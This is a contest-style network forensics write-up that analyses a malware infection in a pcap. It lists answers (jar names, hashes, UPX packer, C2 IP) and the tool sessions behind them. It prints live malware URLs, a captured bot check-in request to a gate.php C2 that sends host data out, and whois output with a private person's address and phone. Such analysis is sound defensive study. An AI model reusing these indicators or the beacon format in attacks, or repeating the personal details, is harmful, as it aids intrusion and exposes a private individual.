Name: Iñaki Rodríguez Email: irodriguez@virtualminds.es Answer 1a: sdfg.jar Answer 1b: q.jar Answer 2: ADMINISTRATOR Answer 3: http://nrtjo.eu/true.php Answer 4: 5942BA36CF732097479C51986EEE91ED Answer 5: UPX Answer 6: 0f37839f48f7fc77e6d50e14657fb96e Answer 7: 213.155.29.144 Description: ------------------------------------------------------------------------------------------ Q1. As part of the infection process, Ms. Moneymany’s browser downloaded two Java applets. What were the names of the two .jar files that implemented these applet A1. Firstly, we extract all streams from pcap file with tcpflow: pentest@morgul:~/forensic/streams$ tcpflow -r ../infected.pcap pentest@morgul:~/forensic/streams$ ls 059.053.091.102.00080-192.168.023.129.01061 192.168.023.129.01063-059.053.091.102.00080 059.053.091.102.00080-192.168.023.129.01063 192.168.023.129.01064-059.053.091.102.00080 059.053.091.102.00080-192.168.023.129.01064 192.168.023.129.01065-059.053.091.102.00080 059.053.091.102.00080-192.168.023.129.01065 192.168.023.129.01066-059.053.091.102.00080 059.053.091.102.00080-192.168.023.129.01066 192.168.023.129.01067-059.053.091.102.00080 059.053.091.102.00080-192.168.023.129.01067 192.168.023.129.01068-213.155.029.144.00444 065.055.195.250.00443-192.168.023.129.01062 192.168.023.129.01069-212.252.032.020.00080 192.168.023.129.01061-059.053.091.102.00080 212.252.032.020.00080-192.168.023.129.01069 192.168.023.129.01062-065.055.195.250.00443 Using a file carving tool like foremost, we search for jar files: pentest@morgul:~/forensic/streams$ ls -d output* output_Sat_Apr_17_02_00_44_2010 pentest@morgul:~/forensic/streams$ cd output_Sat_Apr_17_02_00_44_2010/ pentest@morgul:~/forensic/streams/output_Sat_Apr_17_02_00_44_2010$ ls audit.txt exe htm jar We show a jar directory so we only have to go to that directory to see those two jar files: pentest@morgul:~/forensic/streams/output_Sat_Apr_17_02_00_44_2010$ cd jar/ pentest@morgul:~/forensic/streams/output_Sat_Apr_17_02_00_44_2010/jar$ ls 00000000_1.jar 00000000.jar Also we extract the content (jar file is a zip file) to ensure that foremost obtained files correctly: pentest@morgul:~/forensic/streams/output_Sat_Apr_17_02_00_44_2010/jar$ unzip 00000000_1.jar Archive: 00000000_1.jar inflating: AppletPanel.class inflating: Main.class pentest@morgul:~/forensic/streams/output_Sat_Apr_17_02_00_44_2010/jar$ unzip 00000000.jar Archive: 00000000.jar creating: META-INF/ extracting: META-INF/MANIFEST.MF creating: myf/ creating: myf/y/ inflating: myf/y/AppletX.class inflating: myf/y/LoaderX.class inflating: myf/y/PX.class To complete the answer, we look for the url of jar files: pentest@morgul:~/forensic/streams$ grep -n5 jar * | grep -E "jar|Host" 192.168.023.129.01064-059.053.091.102.00080:1:GET /sdfg.jar HTTP/1.1 192.168.023.129.01064-059.053.091.102.00080-5-Host: nrtjo.eu 192.168.023.129.01065-059.053.091.102.00080:1:GET /q.jar HTTP/1.1 192.168.023.129.01065-059.053.091.102.00080-5-Host: nrtjo.eu After that we have the answer: 1. sdfg.jar (http://nrtjo.eu/sdfg.jar) 2. q.jar (http://nrtjo.eu/q.jar) Alternative: pentest@morgul:~/forensic$ tshark -T fields -e ip.dst -e http.host -e http.request.method -e http.request.uri -r infected.pcap -R http.request 59.53.91.102 nrtjo.eu GET /true.php 59.53.91.102 nrtjo.eu GET /xxx.xxx 59.53.91.102 nrtjo.eu GET /favicon.ico 59.53.91.102 nrtjo.eu GET /q.jar 59.53.91.102 nrtjo.eu GET /sdfg.jar 59.53.91.102 nrtjo.eu GET //loading.php?spl=javadnw&J050006010 59.53.91.102 nrtjo.eu GET //loading.php?spl=javad0 212.252.32.20 freeways.in GET /11111/gate.php?guid=ADMINISTRATOR!TICKLABS-LZ!1C7AE7C1&ver=10084&stat=ONLINE&ie=8.0.6001.18702&os=5.1.2600&ut=Admin&cpu=92&ccrc=5A4F4DF7&md5=5942ba36cf732097479c51986eee91ed ------------------------------------------------------------------------------------------ Q2. What was Ms. Moneymany’s username on the infected Windows system? A2. Using tshark and wireshark we take a prelimary look to the content of pcap file: ........ 293 50.609172 192.168.23.129 -> 212.252.32.20 HTTP GET /11111/gate.php?guid=ADMINISTRATOR!TICKLABS-LZ!1C7AE7C1&ver=10084&stat=ONLINE&ie=8.0.6001.18702&os=5.1.2600&ut=Admin&cpu=92&ccrc=5A4F4DF7&md5=5942ba36cf732097479c51986eee91ed HTTP/1.1 ........ This packet seems to be any kind of attempt to connect to a C&C server to pass information about the infected machine. We show a reference to "ADMINISTRATOR" user. Also the machine name, internet explorer version (8.0.6001) and the md5 hash of malware file. So we deduce the answer is ADMINISTRATOR. ------------------------------------------------------------------------------------------ Q3. What was the starting URL of this incident? In other words, on which URL did Ms. Moneymany probably click? A3. With tshark we list all http requests: irodriguez@morgul:~/forensic$ tshark -T fields -e ip.src -e tcp.srcport -e ip.dst -e http.host -e http.request.method -e http.request.uri -r infected.pcap -R http.request 192.168.23.129 1061 59.53.91.102 nrtjo.eu GET /true.php 192.168.23.129 1061 59.53.91.102 nrtjo.eu GET /xxx.xxx 192.168.23.129 1063 59.53.91.102 nrtjo.eu GET /favicon.ico 192.168.23.129 1065 59.53.91.102 nrtjo.eu GET /q.jar 192.168.23.129 1064 59.53.91.102 nrtjo.eu GET /sdfg.jar 192.168.23.129 1066 59.53.91.102 nrtjo.eu GET //loading.php?spl=javadnw&J050006010 192.168.23.129 1067 59.53.91.102 nrtjo.eu GET //loading.php?spl=javad0 192.168.23.129 1069 212.252.32.20 freeways.in GET /11111/gate.php?guid=ADMINISTRATOR!TICKLABS-LZ!1C7AE7C1&ver=10084&stat=ONLINE&ie=8.0.6001.18702&os=5.1.2600&ut=Admin&cpu=92&ccrc=5A4F4DF7&md5=5942ba36cf732097479c51986eee91ed We see the first request url was http://nrtjo.eu/true.php. So we must ensure it was the starting URL. We search in our dumped version (tcpflow) the file name 059.053.091.102.00080-192.168.023.129.01061 ( srcip:srcport - dstip:dstport ). When we open the file with cat, it seems to be encoded: irodriguez@morgul:~/forensic$ cat 059.053.091.102.00080-192.168.023.129.01061 HTTP/1.1 200 OK Server: nginx Date: Wed, 17 Mar 2010 00:55:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.2.11 Cache-Control: no-store, no-cache, must-revalidate Expires: Thu, 01 Jan 2000 00:00:00 GMT Last-Modified: Thu, 01 Jan 2000 00:00:00 GMT Pragma: no-cache Content-Encoding: gzip 489 �X[o�6~�� 0#�-���<s�>��m���D�N|Q%ڎ��G��+*�|IR��G$��;�����O'��`�{g�A,�$����:b>���7�钪Q`%q����Ǻ��^��Ʒb�3񷤱5$��sv��|I� qm�猃�Ud��8q�H�cjNJ����GQ:q+ϒ��6M�PTN�)Q���ť�xy�-����`!��jH`�R$nj��H~�+KG���u�g�4�iRq���~�f{5�`,��m�z� ��'� _��>H��0�~No/�q��wG��WE�%�Y���|)l��V8����W��kbm֩�Cl�X�L���7 �^w?�y���V�R? ....... Next, using foremost, we try to extract that content. But foremost could not extract it, so I decided to teach foremost how extract it. We open /etc/foremost.conf file and we add this: gz y 150000 \x1f\x8b \x00\x00\x0d\x0a After this, we can extract gziped content: irodriguez@morgul:~/forensic$ foremost 059.053.091.102.00080-192.168.023.129.01061 Processing: 059.053.091.102.00080-192.168.023.129.01061 |*| irodriguez@morgul:~/forensic$ cd output/ irodriguez@morgul:~/forensic/output$ ls audit.txt gz irodriguez@morgul:~/forensic/output$ cd gz/ irodriguez@morgul:~/forensic/output/gz$ ls 00000000.gz irodriguez@morgul:~/forensic/output/gz$ gunzip 00000000.gz gzip: 00000000.gz: decompression OK, trailing garbage ignored irodriguez@morgul:~/forensic/output/gz$ cat 00000000
Here we have the content extracted. We see an obfuscated html file with javascript and two applets (remember the first question). And It seems it's our answer (http://nrtjo.eu/true.php) ------------------------------------------------------------------------------------------ Q4. As part of the infection, a malicious Windows executable file was downloaded onto Ms. Moneymany’s system. What was the file’s MD5 hash? (Hint: It ends on “91ed”.) A4. This time, foremost didn't help us. I tried tcpxtract also, without luck. Finally, I used Network Miner to extract file.exe with MD5 5942BA36CF732097479C51986EEE91ED. ------------------------------------------------------------------------------------------ Q5. What is the name of the packer used to protect the malicious Windows executable? Hint: This is one of the most popular freely-available packers seen in “mainstream” malware. A5. Using pefile from Ero Carrera, we can identify the packer. Pefile can use PeID signature database. Debian python-pefile package has an example script we can use to identify the packer: morgul:/usr/share/doc/python-pefile/examples# wget http://www.peid.info/BobSoft/Downloads/UserDB.zip --2010-05-09 00:15:48-- http://www.peid.info/BobSoft/Downloads/UserDB.zip Resolviendo www.peid.info... 217.157.129.212 Connecting to www.peid.info|217.157.129.212|:80... conectado. Petición HTTP enviada, esperando respuesta... 200 OK Longitud: 93822 (92K) [application/zip] Saving to: `UserDB.zip' 100%[===================================================================================>] 93.822 18,2K/s in 5,0s 2010-05-09 00:15:53 (18,2 KB/s) - `UserDB.zip' saved [93822/93822] morgul:/usr/share/doc/python-pefile/examples# unzip UserDB.zip Archive: UserDB.zip inflating: UserDB.TXT morgul:/usr/share/doc/python-pefile/examples# python pefile-match UserDB.TXT /home/irodriguez/forensic/file.exe /home/irodriguez/forensic/file.exe.octet-stream: [['UPX 2.90 [LZMA] -> Markus Oberhumer, Laszlo Molnar & John Reiser'], ['Crypto-Lock v2.02 (Eng) -> Ryan Thian']] morgul:/usr/share/doc/python-pefile/examples# We see it's packed with UPX, also it detects another packer (usually in modern malwares to bypass signature based detectors). I used another packer detector (RDG Packer Detector) and it detects too UPX packer. ------------------------------------------------------------------------------------------ Q6. What is the MD5 hash of the unpacked version of the malicious Windows executable file? A6. We could dump the process from memory or we can use upx to unpack it. Sometimes, malware writers modify the packers, but this time I could use upx command to unpack it: irodriguez@morgul:~/forensic$ upx -d file.exe Ultimate Packer for eXecutables Copyright (C) 1996 - 2009 UPX 3.04 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 27th 2009 File size Ratio Format Name -------------------- ------ ----------- ----------- 82432 <- 68096 82.61% win32/pe file.exe Unpacked 1 file. irodriguez@morgul:~/forensic$ md5sum file.exe 0f37839f48f7fc77e6d50e14657fb96e file.exe After unpack it, we have the MD5: 0f37839f48f7fc77e6d50e14657fb96e. Also we open file.exe with Immunity Debugger and Ida pro to ensure that we unpack it well. And both could open it without problems. ------------------------------------------------------------------------------------------ Q7. The malicious executable attempts to connect to an Internet host using an IP address which is hard-coded into it (there was no DNS lookup). What is the IP address of that Internet host? A7. This malware is very obfuscated. If you open with a debugger, you will not found any network function imported. But if you trace it or if you open it with IDA, you will see that it creates another IAT using LdrLoaddll in which it stores reference to other libraries (including wininet.dll). But I used another method based on discard ips resolved in infected.pcap file: 1. We get unique ips: irodriguez@morgul:~/forensic$ tshark -r infected.pcap -Tfields -e ip.src | sort | uniq 192.168.23.129 192.168.23.2 212.252.32.20 213.155.29.144 59.53.91.102 65.55.195.250 2. We get dns responses: irodriguez@morgul:~/forensic$ tshark -r infected.pcap -R dns | grep "response A" | cut -d'-' -f 2 | cut -d' ' -f 8 | sort | uniq 212.252.32.20 59.53.91.102 3. We discard internal and resolved ips so the list reduces to: 213.155.29.144 65.55.195.250 We have now only 2 ips unresolved from those 6. And we have to discover which is our answer. We start with 65.55.195.250. First, lets see what kind of traffic generated: irodriguez@morgul:~/forensic$ tshark -r infected.pcap -R 'ip.src==65.55.195.250 || ip.dst==65.55.195.250' 17 6.632424 192.168.23.129 -> 65.55.195.250 TCP veracity > https [SYN] Seq=0 Win=64240 Len=0 MSS=1460 18 6.714673 65.55.195.250 -> 192.168.23.129 TCP https > veracity [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460 19 6.720153 192.168.23.129 -> 65.55.195.250 TCP veracity > https [ACK] Seq=1 Ack=1 Win=64240 Len=0 20 6.720171 192.168.23.129 -> 65.55.195.250 SSL Client Hello 21 6.720195 65.55.195.250 -> 192.168.23.129 TCP https > veracity [ACK] Seq=1 Ack=103 Win=64240 Len=0 22 6.956602 65.55.195.250 -> 192.168.23.129 TCP [TCP segment of a reassembled PDU] 23 6.956628 65.55.195.250 -> 192.168.23.129 TCP [TCP segment of a reassembled PDU] 24 6.956636 65.55.195.250 -> 192.168.23.129 TCP [TCP segment of a reassembled PDU] 25 6.956642 65.55.195.250 -> 192.168.23.129 TLSv1 Server Hello, Certificate, Server Hello Done 26 6.957309 192.168.23.129 -> 65.55.195.250 TCP veracity > https [ACK] Seq=103 Ack=4510 Win=64240 Len=0 27 6.964091 192.168.23.129 -> 65.55.195.250 TLSv1 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message 28 6.964112 65.55.195.250 -> 192.168.23.129 TCP https > veracity [ACK] Seq=4510 Ack=285 Win=64240 Len=0 29 7.053873 65.55.195.250 -> 192.168.23.129 TLSv1 Change Cipher Spec, Encrypted Handshake Message 30 7.063385 192.168.23.129 -> 65.55.195.250 TLSv1 Application Data 31 7.063678 65.55.195.250 -> 192.168.23.129 TCP https > veracity [ACK] Seq=4553 Ack=1319 Win=64240 Len=0 33 7.224818 65.55.195.250 -> 192.168.23.129 TLSv1 Application Data 34 7.225234 192.168.23.129 -> 65.55.195.250 TCP veracity > https [ACK] Seq=1319 Ack=5389 Win=63362 Len=0 35 7.225891 192.168.23.129 -> 65.55.195.250 TCP veracity > https [FIN, ACK] Seq=1319 Ack=5389 Win=63362 Len=0 36 7.225902 65.55.195.250 -> 192.168.23.129 TCP https > veracity [ACK] Seq=5389 Ack=1320 Win=64239 Len=0 Seems to be a TLS session. Now we could obtain whois information and the X.509 certificate from 65.55.195.250: irodriguez@morgul:~/forensic$ openssl s_client -host 65.55.195.250 -port 443CONNECTED(00000003) depth=2 /CN=Microsoft Internet Authority verify error:num=20:unable to get local issuer certificate verify return:0 --- Certificate chain 0 s:/C=US/ST=Washington/L=Redmond/O=Microsoft Corporation/OU=Windows Live Operations/CN=urs.microsoft.com i:/DC=com/DC=microsoft/DC=corp/DC=redmond/CN=Microsoft Secure Server Authority 1 s:/DC=com/DC=microsoft/DC=corp/DC=redmond/CN=Microsoft Secure Server Authority i:/CN=Microsoft Internet Authority 2 s:/CN=Microsoft Internet Authority i:/C=US/O=GTE Corporation/OU=GTE CyberTrust Solutions, Inc./CN=GTE CyberTrust Global Root ..... It seems a legal connection against Microsoft Server. Lets see whois information: irodriguez@morgul:~/forensic$ whois 65.55.195.250 OrgName: Microsoft Corp OrgID: MSFT Address: One Microsoft Way City: Redmond StateProv: WA PostalCode: 98052 Country: US NetRange: 65.52.0.0 - 65.55.255.255 CIDR: 65.52.0.0/14 NetName: MICROSOFT-1BLK NetHandle: NET-65-52-0-0-1 Parent: NET-65-0-0-0-0 NetType: Direct Assignment NameServer: NS1.MSFT.NET NameServer: NS5.MSFT.NET NameServer: NS2.MSFT.NET NameServer: NS3.MSFT.NET NameServer: NS4.MSFT.NET Comment: RegDate: 2001-02-14 Updated: 2004-12-09 .......... And again Microsoft. Finally we search AS info using http://www.serversniff.net/as-info.php: IP-Adress: 65.55.195.250 AS-Number: 8075 Description: MICROSOFT-CORP---MSN-AS-BLOCK - Microsoft Corp AS-Peers: AS701 AS1299 AS2516 AS2914 AS3320 AS3356 AS4565 AS4657 AS6453 AS19401 AS Range (cidr): 65.55.192.0/18 AS Range (ip): 65.55.192.0-65.55.255.255 AS Country: US AS RIR: arin AS Allocation Date: 1997-03-31 So we are sure that this ip comes from Microsoft. Now time to investigate 213.155.29.144: irodriguez@morgul:~/forensic$ tshark -r infected.pcap -R 'ip.src==213.155.29.144 || ip.dst==213.155.29.144' 275 46.938655 192.168.23.129 -> 213.155.29.144 TCP instl_bootc > snpp [SYN] Seq=0 Win=64240 Len=0 MSS=1460 276 47.151484 213.155.29.144 -> 192.168.23.129 TCP snpp > instl_bootc [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460 277 47.151501 192.168.23.129 -> 213.155.29.144 TCP instl_bootc > snpp [ACK] Seq=1 Ack=1 Win=64240 Len=0 278 47.153472 192.168.23.129 -> 213.155.29.144 TCP instl_bootc > snpp [PSH, ACK] Seq=1 Ack=1 Win=64240 Len=263 279 47.153487 192.168.23.129 -> 213.155.29.144 TCP instl_bootc > snpp [FIN, ACK] Seq=264 Ack=1 Win=64240 Len=0 280 47.153492 213.155.29.144 -> 192.168.23.129 TCP snpp > instl_bootc [ACK] Seq=1 Ack=264 Win=64240 Len=0 281 47.153495 213.155.29.144 -> 192.168.23.129 TCP snpp > instl_bootc [ACK] Seq=1 Ack=265 Win=64239 Len=0 282 47.456882 213.155.29.144 -> 192.168.23.129 TCP snpp > instl_bootc [FIN, PSH, ACK] Seq=1 Ack=265 Win=64239 Len=0 283 47.458486 192.168.23.129 -> 213.155.29.144 TCP instl_bootc > snpp [ACK] Seq=265 Ack=2 Win=64240 Len=0 SNPP protocol is a text based protocol used by pagers (http://en.wikipedia.org/wiki/Simple_Network_Paging_Protocol) but as I tshark shows, the payload is not human readeable: irodriguez@morgul:~/forensic$ tshark -r infected.pcap -R 'ip.dst==213.155.29.144' -x 275 46.938655 192.168.23.129 -> 213.155.29.144 TCP instl_bootc > snpp [SYN] Seq=0 Win=64240 Len=0 MSS=1460 0000 00 50 56 f5 48 d4 00 0c 29 ca 2a f2 08 00 45 00 .PV.H...).*...E. 0010 00 30 01 96 40 00 80 06 2d dd c0 a8 17 81 d5 9b .0..@...-....... 0020 1d 90 04 2c 01 bc 8c ec 94 86 00 00 00 00 70 02 ...,..........p. 0030 fa f0 95 7e 00 00 02 04 05 b4 01 01 04 02 ...~.......... irodriguez@morgul:~/forensic$ tshark -r infected.pcap -R 'ip.src==213.155.29.144' -x 276 47.151484 213.155.29.144 -> 192.168.23.129 TCP snpp > instl_bootc [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460 0000 00 0c 29 ca 2a f2 00 50 56 f5 48 d4 08 00 45 00 ..).*..PV.H...E. 0010 00 2c 00 d5 00 00 80 06 6e a2 d5 9b 1d 90 c0 a8 .,......n....... 0020 17 81 01 bc 04 2c 3b 65 59 30 8c ec 94 87 60 12 .....,;eY0....`. 0030 fa f0 15 df 00 00 02 04 05 b4 00 00 ............ We follow asking whois information: irodriguez@morgul:~/forensic$ whois 213.155.29.144 % This is the RIPE Database query service. % The objects are in RPSL format. % % The RIPE Database is subject to Terms and Conditions. % See http://www.ripe.net/db/support/db-terms-conditions.pdf % Note: This output has been filtered. % To receive output for a database update, use the "-B" flag. % Information related to '213.155.29.144 - 213.155.29.151' inetnum: 213.155.29.144 - 213.155.29.151 netname: alexjohnes descr: alexjohnes - Taras Zadorojniy country: NA admin-c: TMUA171-RIPE tech-c: TMUA171-RIPE status: ASSIGNED PA mnt-by: MNT-HOSTINGUA source: RIPE # Filtered person: Taras Zadorojniy address: UA,74800, Kahovka ,Voroshilova str. 1, apt. 20 phone: +38 048 7281518 nic-hdl: TMUA171-RIPE abuse-mailbox: abuse@hosting.ua source: RIPE # Filtered % Information related to '213.155.0.0/19AS41665' route: 213.155.0.0/19 descr: Datacenter Hosting.UA origin: AS41665 mnt-by: MNT-HOSTINGUA source: RIPE # Filtered Well, from Ukrania. Nothing against that country. We also search 213.155.29.144 using google and it links us to http://www.threatexpert.com/report.aspx?md5=5942ba36cf732097479c51986eee91ed in which we can read the analisys: ............ * The following Host Name was requested from a host database: o 213.155.29.144 * There was registered attempt to establish connection with the remote host. The connection details are: Remote Host Port Number 213.155.29.144 444 ............ So the last answer is 213.155.29.144